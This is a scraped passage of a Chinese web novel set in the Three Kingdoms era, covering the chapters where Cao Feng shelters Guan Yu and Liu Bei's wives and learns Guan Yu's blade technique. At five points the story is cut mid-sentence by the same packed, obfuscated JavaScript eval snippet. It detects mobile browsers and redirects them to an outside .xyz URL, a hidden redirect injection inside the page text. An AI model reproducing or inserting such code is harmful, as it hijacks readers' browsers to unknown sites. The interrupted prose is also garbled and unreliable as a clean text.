【一个原本不服气的年轻人听到这话,内心充满愧疚:“难怪王大人能得到公子赏识。我们都该以他为榜样,为公子尽心尽力。”】 【几人议论时,王五已随曹风进入帐内。】 【曹风示意亲兵守住门口,然后压低声音对王五说:“我推测,下邳城最多再撑三天。城破之后,你带几个可靠的人,在城里给我物色一个僻静的院子。” 【“院子不用太大,但房间一定要多,至少要有五六间。”】 【王五用仅剩的左手拍着胸脯保证:“公子放心,我一定给您找个称心如意的地方。”】 曹风要用这院子做什么,王五绝不会多问。他只管完成公子交代的事。 【曹风沉吟片刻,又补充道:“还有件事。你这两天带人,多抓些蚊虫和老鼠。记住,一定要活的,而且绝对不能有毒!”】 王五见曹风没有其他吩咐,他识趣地躬身告退。 【就在他即将出帐时,身后传来曹风的声音:“五子,你那条胳膊是怎么没的,我知道。你这个兄弟,我曹风认了。”】 【王五身子一颤,心头滚烫,抹去眼角泪水。转身时,他又挂上了那副标志性的贱笑:“公子说笑了。我王五一个市井无赖,哪配与公子……”】 【“滚蛋!我做事还需要你来教?”曹风笑骂着挥了挥手。】 【“嘿嘿!”王五笑着退出帐外,却在无人处"扑通"跪下,重重地磕了一个响头。起身时,他抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697186|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了把脸,头也不回地去办事了。】 事情的发展果然如曹风所料。 三天后的傍晚,下邳城被攻破的消息传遍了曹营。 【关羽带着刘备的两位夫人和少量亲卫杀出重围,却在城外三十里处的一座土山上被曹军团团围住。】 【操派张辽前去劝降。】 【这位关羽的故交没有讲什么大道理,只是诚恳道:“云长兄,就算不为自己着想,也该为两位夫人考虑。若是力战而死,将来有何面目见玄德公于九泉之下?”】 【关羽沉思良久,终于同意暂时投降,但提出了“降汉不降曹”等三个条件。曹操得知后,大笑着全部应允。】 【然而在安排住处时,曹操却“疏忽”地只给关羽和两位刘备夫人准备了一个小院,而且院里只有一间能住人的屋子。】 【关羽当即去找曹操理论。】 【趁关羽离开的空档,曹风立即命王五带人,将事先准备好的几笼蚊虫和老鼠偷偷放进了那个院子。】 【当关羽来到曹操的中军大帐时,侍卫却告诉他明公正在议事,暂时不能见客。关羽从午后等到黄昏,始终没能见到曹操。眼看天色已晚,他只好返回那个小院,保护两位嫂嫂。】 【关羽将唯一的卧房让给两位夫人,自己在院中生起篝火,手持青龙偃月刀,像一尊雕像般伫立在房门前。】 【奇怪的是,直到午夜时分,房内的烛火依然亮着。关羽虽然觉得蹊跷,但碍于礼数,不便询问。】 【房内的两位夫人正饱受蚊虫鼠患之苦。】 【关羽不在的时候,她们发现这院子的蚊虫多得惊人,还有几只老鼠在屋外墙角窜来窜去。】 【作为女子,她们天生害怕这些,却又不想给关羽添麻烦,只好强忍着恐惧,轮流守夜,一人睡觉时另一人就负责驱赶蚊虫。还好老鼠不见了。】 【夜黑风高,一道黑影悄无声息地翻过院墙。】 【关羽立刻警觉起身,丹凤眼怒睁,对来人喝道:“贼子好大胆子,是觉得关某的刀不够锋利吗?”】 【只见那年轻人连忙摆手,示意没有恶意,笑着解释:“关将军说得对,我确实是贼子,贼的儿子。但我可是好人啊!”】 第139章 曹风:曹操,我来拆你台了 【“你是好人?谁家好人会擅自翻墙进入别人的院子?”关羽冷哼一声,手中的青龙偃月刀在月光下泛着寒光。大有一言不合,就将曹风斩杀的架势。】 【关羽眯起那双标志性的丹凤眼,警惕道:“深更半夜鬼鬼祟祟,你到底是什么人?”】 【如今自己和两位嫂嫂都在曹操的地盘,不问清楚,也不好冒然出手。】 【曹风连忙抱拳行礼:“在下曹脩,久闻关将军威名,今日得见,实在是三生有幸。”】 【关羽依旧没有放松警惕,右手始终紧握着青龙偃月刀:“姓曹?你和曹孟德是什么关系?”】 【曹风连忙解释道:“回将军的话,我那不成器的父亲,是明公的远房表亲。如今在明公帐下担任摸金校尉,专门负责……”】 【“摸金校尉?”关羽冷哼一声,“就是那些专门掘人祖坟的鼠辈吗?”】 【曹风尴尬笑了笑,“这个……”】 【关羽不再追问,转而用青龙偃月刀指着曹风的咽喉:“那你呢?在曹营担任什么官职?”】 【曹风故意挠了挠头,这个动作让他看起来更加年轻稚嫩,以降低关羽对他的戒备之心。“在下只是个普通的马弓手。”】 【说完又赶紧补充道,“不过我的箭术还不错,百步穿杨不敢说,八十步**中靶心还是没问题的。”】 【“马弓手?”关羽原本瞪大的眼睛微微眯起,握刀的手也稍稍放松了一些。】 曹风敏锐地察觉到关羽眼睛的变化,知道暂时安全了。关羽睁眼时,才会斩人。 【曹风不甘心地叹了口气,声音里满是无奈:“唉!出身不好啊。我在战场上立过几次功,有一次还射杀了敌军的一个校尉,但都被上面的人冒领了。”】 【曹风说着,踢了一脚地上的石子,“那些世家子弟,就会仗着父辈的权势。”】 关羽的眼神恍惚了一下,仿佛回到了当年在酸枣会盟讨伐董卓时的情景。那时的自己也是个马弓手。虽然斩杀了敌将,但那些诸侯还是看不起他和两位兄弟,连他的战功也提都不提。 【一直没正眼看曹风的关羽,这才仔细打量起这个年轻人。】 【“年纪轻轻,何必着急?”关羽的声音突然柔和了几分。】 【关羽将青龙偃月刀竖起,刀柄重重地杵在地上,发出“咚”的一声闷响。另一只手慢慢捋着长须,“大丈夫生于天地间,只要有真本事,迟早能出人头地!”】 【曹风眼睛一亮,连忙拱手:“多谢将军鼓励!”】 【曹风又指着不远处还亮着灯的房间,明知故问道:“关将军为什么不进屋休息?这夜深露重的,蚊虫又多。”】 【“休得胡言!”关羽的丹凤眼再次瞪大,他怒喝道,“两位嫂嫂正在房内休息,关某怎能进去!你这话是何居心?”】 【曹风慌忙摆手:“关将军息怒!在下实在不知情。我只知道您在曹营,不知道两位夫人也在。”】 【曹风又指了指身后的土墙,苦笑道,“我官职低微,消息闭塞。就连见关将军一面,都得偷偷翻墙。”】 【“明公下令不许任何人接近关将军。我要是被抓住,肯定要挨军棍。白天就有人因为靠近这个院子,被打了三十军棍,现在还在床上躺着呢。”】 【关羽这才点了点头。】 其实就算曹风自己不说,他也想问为什么对方不走正门,非要翻墙进来。 【“哎呀!”曹风突然一拍脑门,环顾着这个简陋的院子,“这院子只有一间屋子,那关将军岂不是要在外面过夜?”】 【关羽不想再和曹风多费口舌,用青龙偃月刀指了指土墙:“既然已经见到关某,你可以回去了。”】 他的语气不容置疑。 【曹风抱拳告辞,转身走向土墙。】 【曹风的动作很敏捷,三两步就爬上了墙头。可就在要跳下去的一瞬间,他突然又折返回来,轻巧地落回院内。】 【“嗯?!”关羽质疑的声音冰冷,显然已经很不耐烦。】 【曹风故意提高声音说:“我听说这里蚊虫老鼠很多,前几天还咬伤了几个人。不知两位夫人住得是否习惯?”】 【他顿了顿,又说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700082|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“正好我在城西有处私宅,虽然不算豪华,但也干净整洁,房间也多。而且位置偏僻,很安静,绝对不会有人打扰关将军清静。”】 曹风心道:“当然除了我。” 这个院子,就是曹风让王五找的地方。 关羽的表情阴晴不定。他沉思片刻,还是不太信任这个突然出现的年轻人。 【就在他要开口拒绝时,身后的房门“吱呀”一声打开了。】 【两位美丽的妇人款步而出。走在前面的糜夫人肤若凝脂,眉目如画。】 【稍后的甘夫人看上去更年轻些,但举手投足间自有一番成熟的风韵。她们虽然穿着朴素,却掩不住天生的贵气。】 【见到她们,关羽立即低头行礼,声音恭敬:“嫂嫂。”】 【曹风也快步上前,深深地鞠了一躬:“晚辈曹脩,见过两位夫人。”】 【他低着头,没有直视,礼数很周全。】 【甘夫人先开口,“二叔,这里确实蚊虫太多,我和姐姐几乎没合眼。白天又在墙角见到了许多老鼠。”她语气顿了顿,又道,“你在外面过夜也很辛苦。不如……”】 【糜夫人接过话茬,她的声音更加沉稳:“这位小兄弟一片好意,我们不如就去看看吧。若是不合适,再回来也不迟。”】 【关羽这才点了点头:“就依两位嫂嫂所言。”】 【当几人收拾好简单的行李,准备从正门离开时,糜夫人却突然拦住了大家。】 她心思细腻,早就注意到曹风欲言又止的样子。 【“且慢。”糜夫人轻声说道,“如果从正门走,肯定会被巡逻的士兵发现。”】 【她又看向曹风,担忧道:“曹操若是知道曹脩来见我们,还提供了住处,一定会重罚他。我们不能连累恩人。”】 【甘夫人恍然大悟,连连点头:“姐姐说得是。那我们该如何出去?”】 【“不如翻墙出去。”糜夫人说着,指着不远处的一个木梯。】 【曹风感激道:“多谢夫人为我着想!我知道一条小路,能避开巡逻的士兵。】 第140章 曹操:我的云长呢?!!!!! 【第二天,清晨。】 【天刚蒙蒙亮,曹操就迫不及待地带着一众谋士武将来到关羽暂住的院落。】 【他脸上带着掩饰不住的喜色,脚步都比平时轻快了几分。】 昨夜他特意将关羽和刘备的两位夫人安排在同一间屋子,这个看似疏忽的安排,实际上是他精心设计的一个局。 曹操向来以多疑著称,虽然对关羽的武艺和才能十分欣赏,但始终对其是否真心归顺心存疑虑。 这次安排,他有三个目的。 第一,这是对关羽人品最直接的考验。 曹操深知关羽重义气,但更想知道这份义气到底有多深。 如果关羽对刘备的妻妾有丝毫不敬,就说明他的忠义不过是装出来的,这样的人不值得重用。 但如果关羽能恪守礼法,那就证明他确实是个值得信任的人。 第二,这是离间关羽和刘备关系的最佳机会。 曹操盘算着,只要制造出“关羽与刘备妻妾共处一室”的既成事实,再让这个消息悄悄传开…… 到时候就算关羽想回到刘备身边,刘备那边也难免会起疑心。 既能断了关羽的后路,又能破坏刘备集团的内部团结。 第三,这也是向关羽示好的绝佳机会。 表面上这是给关羽的特殊优待,实际上却是变相的监控。 既能让关羽感受到自己的信任,又能就近观察他的一举一动。曹操越想越觉得这个计划太妙了,昨晚甚至兴奋得辗转难眠。 【然而,当曹操满怀期待地推开院门时,院子里静悄悄的。】 【屋内也空无一人!】 【“云长?云长何在?”曹操的声音陡然提高,脸上的笑容瞬间凝固。】 【他快步在院子里转了一圈,却连个人影都没找到。】 【曹操猛地一跺脚,转身对着身后面面相觑的文臣武将,摊手道:“我的云长不见了!定是连夜逃走,去找他那刘玄德了!”】 【曹操的声音里带着明显的慌乱和愤怒。】 【曹操的目光锁定在程昱身上,埋怨道:“仲德!这个主意可是你出的。现在云长人跑了,你得负责给我找回来!”】 【程昱闻言一愣,心里暗暗叫苦。】 这个计策明明是三个人一起商定的。自己、郭嘉、还有曹操。 怎么出了事就全推到自己头上了? 更冤枉的是,昨晚负责监视关羽的明明是郭嘉的校事府,要问责也该找郭嘉才对。但看着曹操阴沉的脸色,程昱只能把到嘴边的话又咽了回去。 站在一旁的郭嘉此时也是心虚。 昨晚他确实失职了。 下邳城新来了一批河北甄家的美酒,他一时没忍住多喝了几杯,后来又服了五石散,结果昏睡到现在才醒。 以至于他没有关注校事府对关羽监控的情况。 同时,郭嘉心中一紧。 难道是之前救走貂蝉和吕玲绮的神秘组织,这次又出手救了关羽和刘备的两位夫人? 【“明公息怒,”郭嘉稳住心神,拱手道,“城门早已关闭,关羽定然还在城中。属下这就……”】 【就在这这时,院门外突然传来一阵脚步声。】 【众人回头望去,只见关羽高大的身影正大步走来。】 【“云长!”曹操脸上的阴霾一扫而空,三步并作两步迎上前去,又对自己带来的文臣武将笑道:“我就说嘛,云长怎会弃我而去?”】 众人面面相觑,心里都在嘀咕。 刚才明明是你自己说关羽逃走了,我们可什么都没说啊! 【郭嘉反应最快,立即附和道:“明公慧眼如炬,果然最信任和了解关将军。”】 【曹操满意地瞥了郭嘉一眼,心想还是奉孝最懂自己的心思。】 【曹操亲**拉住关羽的手,关切地问道:“云长这是去哪了?让我好生担心。”】 【关羽甩开曹操的手,只是冷冷地拱了拱手,一句话也没说。】 显然,他对曹操昨夜的安排十分不满。 【曹操见状,立即换上一副懊恼的表情:“都怪那个安排住宿的官员办事不力!怎么能让云长和两位夫人挤在一间屋子里呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704096|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”】 【“这成何体统!”说着,曹操怒喝一声:“来人!把那个不长眼的家伙拖下去,重打二十军棍!”】 【打完人后,曹操又满脸愧疚地对关羽说:“这也怪我,昨日军务繁忙,没能亲自过问此事。这样吧,云长不如带着两位夫人搬到我的府上住,这样我也好……”】 【“不必了。”关羽直接打断曹操的话,“明公军务繁忙,关某不便打扰。我已经另寻住处,就不劳费心了。”】 【曹操故作恍然:“哦?那云长现在住在何处?我这就派人送些日常用品过去,尤其是两位夫人,可不能委屈了。”】 【关羽怎会信曹操的鬼话?他态度坚决地回绝:“多谢明公美意,不过关某在城中还算是熟悉,一应物品都已备齐。”】 【说完,关羽抱拳行礼:“今日前来,只为向明公请安。”】 【“既然你公务繁忙,关某就先告辞了。每日清晨,我都会准时来府上拜见。”】 【不等曹操回应,关羽已经转身大步离去。】 关羽向来重视名声,生怕曹操以为他不告而别,因此特意前来当面辞行。他行事光明磊落,即便要走,也要走得堂堂正正。 【“云长!”曹操急忙伸手想要挽留,但关羽的背影已经消失在院门外。】 【他只能对着空气喊道:“若有什么需要,尽管来找我啊!”】 【待关羽走远,曹操立即朝郭嘉使了个眼色。】 【郭嘉会意,悄悄退出人群,快步离去。】 曹操定然是让他尽快查清关羽的新住处。 ……… 【关羽回到新住处时,意外地发现院子里多了个人。那个自称是曹脩的年轻人正在院中与两位嫂嫂有说有笑。】 【多日不见笑容的甘、糜二位夫人,此刻脸上终于带着久违的笑意。】 看到这一幕,关羽心中既感欣慰,又升起一丝警惕。 这个曹脩身份本就蹊跷,如今表现得又如此殷勤,恐怕不单单是出于对自己的仰慕,必定另有所图…… 但他又图自己什么呢? 第141章 成功说服关羽 【关羽缓缓捋过他那标志性的长须,丹凤眼微微眯起。】 【目光在曹风身上来回扫视过后,他沉声问道:“小兄弟,此番前来,可有何事?”】 【曹风脸上带着诚恳的笑容,指了指院子内角落处的推车:“给两位婶婶送了些日常用品和换洗衣物。给关将军你带了几坛我亲自酿的酒。”】 【关羽顺着曹风手指的方向看去。】 【推车上堆满了精致的丝绸衣物、上等的胭脂水粉。】 【推车轱辘处,果然还有几坛酒。】 【不过听到曹风对两个夫人用“婶婶”这个称呼,关羽眉头微不可察地皱了一下。】 这个年轻人倒是会套近乎,竟然用这么亲昵的称呼。 关羽此刻更加确信自己之前的猜测。看来此人来意绝不简单,必定另有所图。 【果然,只见曹风突然收起笑容,露出一副苦恼的表情:“不瞒关将军,我自小痴迷武学。可惜无人指点,全靠自己摸索。”】 【说着,曹风整了整衣冠,郑重其事地躬身行礼:“在下仰慕将**法已久,恳请关将军收我为徒!”】 曹风心里很清楚,留给他学习刀法的时间不多了。 以郭嘉的能耐,很快就会找到这里。 他必须抓紧时间搞定关羽。 【关羽不动声色地侧身避开这个大礼,语气坚决:“恐怕要让小兄弟失望了。关某的刀法,从不外传。”】 【“唉!”曹风长叹一声,脸上写满遗憾:“看来是我福缘不够。不过能亲眼见到关将军,已是很满意了。”】 曹风对关羽的性格了如指掌,知道单凭自己再怎么说,也不可能说动这位高傲的关二爷传授刀法。 所以,他早就准备好了第二套方案——关键就在两位夫人身上。 【果不其然,一直静静旁观的甘夫人突然起身,向关羽盈盈一拜。】 【关羽连忙后退两步,低头拱手:“嫂嫂这是为何?关某实在当不起如此大礼。”】 【甘夫人轻启朱唇,声音温柔道:“我看曹脩这孩子心地纯善,又知书达理。二叔不如就指点他几招,可好?”】 【关羽面露难色:“我虽暂居曹营,心却始终追随兄长。曹脩毕竟是曹操的人,我若传授他武艺,岂不是帮兄长培养敌人吗?”】 这时,糜夫人也站了起来。】 【她接过话头:“二叔不必为此多虑。此事我和甘姐姐自会向夫君解释清楚。还望二叔成全这孩子的心愿。”】 【两位夫人你一言我一语,说得关羽进退两难。】 【关羽沉吟片刻,目光瞟见院外三十步开外的一棵三人合抱粗的柳树。】 【柳树枝干粗壮,枝叶茂密,最显眼处有一根小臂粗细的枝干。】 他此时心中已有计较。 【关羽指那棵柳树,对曹风道:“你之前说在曹操麾下担任马弓手?”】 【曹风顺着关羽手指的方向望去,猜到了关羽的意图:“将军是要考校我的箭术?”】 【关羽微微颔首:“你若能在此处射中那根粗壮的枝干,我便破例指点你几招。”】 他心想:以那个距离和枝干的粗细,即便是我见过最擅长射箭的武将,也未必能十拿九稳。这个年轻人若是知难而退最好。 【可领关羽感到意外的是,曹风却面露喜色:“一言为定!我这就去取弓箭来!”】 【不多时,曹风手持一张长弓回到院中。】 曹风站在关羽身侧,突然指着柳树更高处一根更细的树枝:“我要射那根!”】 【甘夫人和糜夫人不约而同地站起身,紧张地望着远处的柳树。】 【不知为何,她们对这个年轻人有着莫名的好感。】 特别是甘夫人,清晨曹风来看望她们时,曾安慰她说:“夫人如此心善,老天定会保佑,将来必能为刘皇叔诞下孝顺的麟儿。” 这句话说到了她心坎里,让她对这个后辈更加喜爱。 【关羽斜睨了曹风一眼,心中有些不悦:“这小子倒是会逞能!那根树枝比方才指定的还要细上许多,距离也更远。”】 不过他并未出言阻止,若是曹风失手,反倒省去了自己的麻烦。 【只见曹风深吸一口气,快速拉开弓弦。动作行云流水,显然经过长期练习。】 【弓弦渐渐绷紧,满弓时……】 【“着!”】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704097|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【随着曹风一声轻喝,箭矢破空而出。】 【那根细枝随即断去。】 【箭矢余势未消,深深钉入后面的树干,箭尾还在微微颤动。】 【甘夫人和糜夫人紧绷的神情顿时舒展,脸上露出了笑容。】 【关羽原本带着几分轻蔑的眼神中闪过一丝惊讶。】 他没想到这个年轻人真能做到,而且动作毫不拖泥带水。 说大话的人他见多了,但能把说出去的大话变成现实的,这才是真本事。 【“关将军,我这箭术可还入眼?”曹风收起长弓,脸上带着自信的笑容。】 【关羽微微点头,突然又问:“除了弓箭,可还会其他兵器?”关羽见曹风箭术了得,突然来了些许兴趣。】 【“略通枪法。”曹风谦虚道,“都是自己瞎琢磨的。”】 【院中没有**,曹风随手抄起一根晾衣用的木棍。】 【这根木棍约莫七尺来长,粗细适中。】 【他站定身形,突然手腕一抖,木棍如灵蛇出洞,在空中划出数道轨迹。】 这几个枪招,是曹风根据童渊传授的“百鸟朝凤枪”自行参悟出的招式。 【高傲如关羽,此刻也不由得睁大了些许那双总是半眯着的丹凤眼,就连捋胡须的手都停在了半空。】 【他情不自禁地赞叹道:“好枪法!”】 这句话从武圣关羽口中说出,分量很足。 关羽心中更是惊讶不已:年纪轻轻,竟能自创出如此精妙枪法,这份悟性实在惊人! 向来高傲的关羽,此刻对曹风的态度有了很大转变。 这个年轻人确实有资格得到他的指点。 更难得的是,曹风依然保持着谦逊的态度,丝毫没有得意忘形的样子。 甘夫人站在一旁,看着英姿勃发的曹风,心中感慨。 真希望自己将来能为夫君生下一个这样出色的儿子。 【糜夫人则敏锐地注意到关羽态度的转变,适时开口道:“二叔,这孩子确实是个可造之材。您就指点他几招?”】 【关羽沉吟片刻,终于缓缓点头:“嫂嫂安心,关某从不食言。我今天就破例一次。”】 第142章 曹操:不可能,绝对不可能! 【关羽只教了曹风半天的刀法,可就在这短短的时间里,曹风竟然已经摸到了关羽刀法的精髓。】 一向高傲的关羽也不得不承认,曹风的武学天赋确实惊人。 此刻,他终于相信,这世上真的存在天才。 关羽越是欣赏曹风,心里就越觉得惋惜。 因为他是曹操的人。 经过几番内心挣扎,关羽最终还是决定做一件不够仗义的事:他要反过来挖曹操的墙角! 关羽想得明白。曹操想招募自己,其实是在挖大哥的墙角。既然如此,自己也可以反过来挖曹操的墙角。 【太阳下山后,曹风坐在院子中央的篝火旁烤着羊肉串。他拿起几串烤好的递给关羽:“关将军,再来几串?”】 【关羽摆摆手:“关某已经饱了。”】 【“那我不客气了!”曹风咧嘴一笑,抓起一整把肉串就往嘴里塞。】 【见到曹风嘴上有少许油渍,甘夫人笑着递过手帕:“慢点吃,当心噎着。”】 【当曹风吃饱后,关羽忽然沉声道:“小兄弟,昨天听你说,你在曹营并不得志。我大哥刘玄德最重贤才,以你的本事和为人,必能大展拳脚。何必在曹操帐下,委屈做个马弓手?”】 【曹风闻言一愣。】 他没想到,向来都是自己挖别人的墙角,现在竟轮到自己被人挖了。更让他意外的是,来挖他的,还是高傲的关羽。 【曹风擦去嘴角的油渍,郑重道:“多谢关将军厚爱,但脩有大仇在身,眼下恐怕不能与将军同行。”】 【关羽没有再劝。】 毕竟他生性高傲,挖人墙角这种事,他这辈子也就做这么一次。 眼前的曹风,勉强算他半个徒弟。若是别人敢这样拒绝他,他定会觉得对方不识好歹,心里难免恼火。可对曹风,他却只有惋惜。 【甘夫人和糜夫人同样觉得可惜,但她们都没开口。】 这乱世之中,女人家既没资格,也没权利过问这种事。 【曹风见气氛有些僵,便笑着打破沉默:“来日方长,定有机会再与关将军相见。授艺之恩,脩必当报答!”】 【关羽轻叹一声:“再见面时,你我恐怕就是敌人了。”】 【曹风猛灌了一口烈酒,大笑道:“大丈夫在世,当快意恩仇!若是命运捉弄,真有那一天,关将军到时候可不要手下留情!”】 【关羽没有作声,但那双丹凤眼中流露出的神色,是对曹风更多的赏识。原本因身在曹营,又要护送两位嫂嫂,关羽一直滴酒不沾。可眼下气氛到了这份上,他索性拍开酒坛,陪上一碗!】 【曹风转向两位夫人,抱拳郑重道:“两位婶婶的恩情,脩也必当报答!”】 这所谓的恩情,自然是两位夫人帮忙劝说关羽传授刀法之情。 【夜色已深,曹风这才起身告辞。】 【走出很远后,曹风又忍不住回头,深深望了一眼关羽居住的院落。】 他知道,这恐怕是他与关羽在曹营中最后一次相见了。 过了今天,他必须彻底避开关羽他们。以郭嘉的敏锐,稍有不慎就会露出破绽。 天幕画面快进到第二天清晨。 【未等关羽前来曹府,曹操已在郭嘉引路下,径直来到关羽居住的院落。】 【就在曹操与关羽寒暄之际,郭嘉忽然轻轻抽动鼻子。】 【院中飘散着若有若无的酒香,而这味道,他有些熟悉。】 【郭嘉努力回想,突然眯起眼睛——他想起了这酒香的来源。】 当初在曹风那里喝酒时,闻到的就是这种酒香。 【郭嘉又暗中搜寻其他线索,却一无所获。】 如果不是他平时爱喝酒,再加上鼻子灵敏,恐怕连这唯一的酒香线索都会错过。 郭嘉心头猛地一紧,一个荒谬的念头浮上心头——那个一直与自己作对的神秘组织,难道和三公子曹风有关? 可曹风明明是个纨绔子弟,怎么可能有这种本事? 等等…… 郭嘉突然想到了自己。 他表面上也是个放荡不羁的人,可实际能力却极强,而且许多事情都隐藏得很深——比如他执掌的校事府。 难道曹风和自己是一类人? 【郭嘉嘴角微微扬起一丝难以察觉的笑意。】 事情开始变得有趣了! 【回府的路上,曹操心情很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714428|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 他感觉自己和关羽的关系正在逐渐改善。更重要的是,这次他找到了关羽的住处,绝不会再让关羽从他眼皮底下溜走。 曹操并不着急,他有的是时间和关羽慢慢周旋。无论是在下邳,还是不久后返回许都。 【等到只有郭嘉和曹操两个人的时候,郭嘉这才低声道:“明公,我刚才在关羽住的院子里闻到酒气。这种酒……我之前在曹风公子那里喝过。”】 【曹操疑惑道:“你还和我那个逆子一起喝过酒?”】 【见郭嘉要解释,曹操笑着打断他:“奉孝啊,我不是不信任你,而是为你担心。你以后别跟那个逆子来往,我怕他带坏你!”】 【曹操又摇了摇头:“你隔两三天去一趟青楼,可那曹风是把青楼当家的。你们俩要是凑在一块儿,那还有好吗?”】 【这时,曹操注意到郭嘉脚上的丝履的绳纽松了,弯腰想帮他系上。】 【郭嘉连忙躲开,自己蹲下系好,起身后感激道:“岂敢劳烦明公为我系鞋。”】 【曹操不在意地笑了笑,轻轻拍了拍郭嘉的肩膀:“少去青楼。你这身子骨,得多保重。众人之中,你最年轻。日后我若不在了,还得托孤于你。”】 【郭嘉郑重拱手:“明公必能长命百岁!奉孝定当竭尽全力,助明公平定天下。”】 原本郭嘉心里还有个疑问——在关羽和自己之间,明公更信谁? 毕竟曹操最近好像被人下了诅咒,疯狂的示好关羽。 不过现在,郭嘉已经有了答案。 【于是,郭嘉不再犹豫,沉声道:“明公,关羽住的那个院子,很可能是曹风提供的。关羽和曹风之间……说不定有什么不可告人的秘密。”】 【曹操一愣,随即哈哈大笑:“不可能!绝对不可能!”】 【“且不说校事府这些年搜集的曹风情报,”曹操自信道,“知子莫若父,我太了解那个逆子了!他就是个不成器的东西!云长根本不会正眼瞧他!要是两人见面,云长怕是一刀就砍了他!”】 【“况且云长为人心高气傲,连我都难与他深交,更别说那个逆了!”】 【“绝不可能!”曹操大笑着摆手。】 第143章 曹操:我那么大的谋士团,就这么散了! 【曹操话音刚落,一阵急促的马蹄声便在背后响起。】 【有人能在城中骑马,定然是有大事发生了。曹操和郭嘉不约而同的转身看去。】 【只见马背上的士兵风尘仆仆,正拼命抽打鞭子,神色焦急。】 【那士兵见到曹操后,慌忙翻身下马。】 【因为动作太急,他差点摔倒。他声音嘶哑急促道:“明公!急报!”随即把书信塞给了拦在前面的曹操侍卫。】 【侍卫快步将信件呈到曹操面前。】 【曹操接过竹简,快速扫了一眼,脸色顿时阴晴不定。】 【他沉默片刻,随手将竹简递给一旁的郭嘉。】 【郭嘉瞥见简上“袁绍”二字,立刻明白北方的战事终于要开始了。】 郭嘉暗自叹了口气,眼下他只能先放下调查曹风的事。 与袁绍的决战,直接关系到曹操集团的存亡。这一战若败,数年基业将毁于一旦。此刻郭嘉必须把全部精力都放在这场战争上。 【“传令下去,”曹操声音低沉而有力,“全军即刻拔营,粮草辎重先行。”】 【曹操想了想,又对身旁的张辽道:“文远,你亲自去请云长来我府上议事。”】 【三日后,曹军主力从下邳城返回许都,全力备战袁绍。】 官渡之战,即将打响!1 这场决定中原命运的战役,将会影响历史的走向。 天幕画面到此结束…… 魏王府。 当曹操从天幕中看到曹风从袁术那里获得玉玺时,脸色顿时阴沉下来。 曹操低声自语:“外盗易阻,家贼难防。” 当初歼灭袁术的最大战果,除了地盘,就是这传国玉玺。 为了寻找这件象征皇权的宝物,他派出了数十支密探,甚至校事府和摸金校尉都派了出去。 这些人几乎翻遍了寿春城的每一寸土地。费尽心思搜寻的结果,却一无所获。 曹操清楚地记得,自己当时指着袁术的尸首破口大骂:“到死都带着玉玺走,这皇帝梦还没做醒呢!” 如今看来,却是他骂错了人。 “好一个逆子!”曹操从牙缝里挤出这几个字。 他实在想不通,为什么曹风每次都能抢先一步,夺走他想要的东西。就像下棋时被人看穿所有心思,每一步都被对方完美克制。 曹风摆明了要和他作对到底,更可气的是,曹风似乎总能预判他的心思,每次挑衅都恰到好处。 曹植看到玉玺后,兴奋地指着天幕喊道:“传国玉玺!三哥太厉害了!” 曹植脸上写满崇拜,完全没注意到曹操瞬间铁青的脸色。 曹操正在气头上,正愁无处发泄。偏偏曹植这个“倒霉孩子”就在曹操眼皮底下。 而且曹植每次犯错都特别会挑时候,专赶曹操憋着火没处撒的时候撞上来。 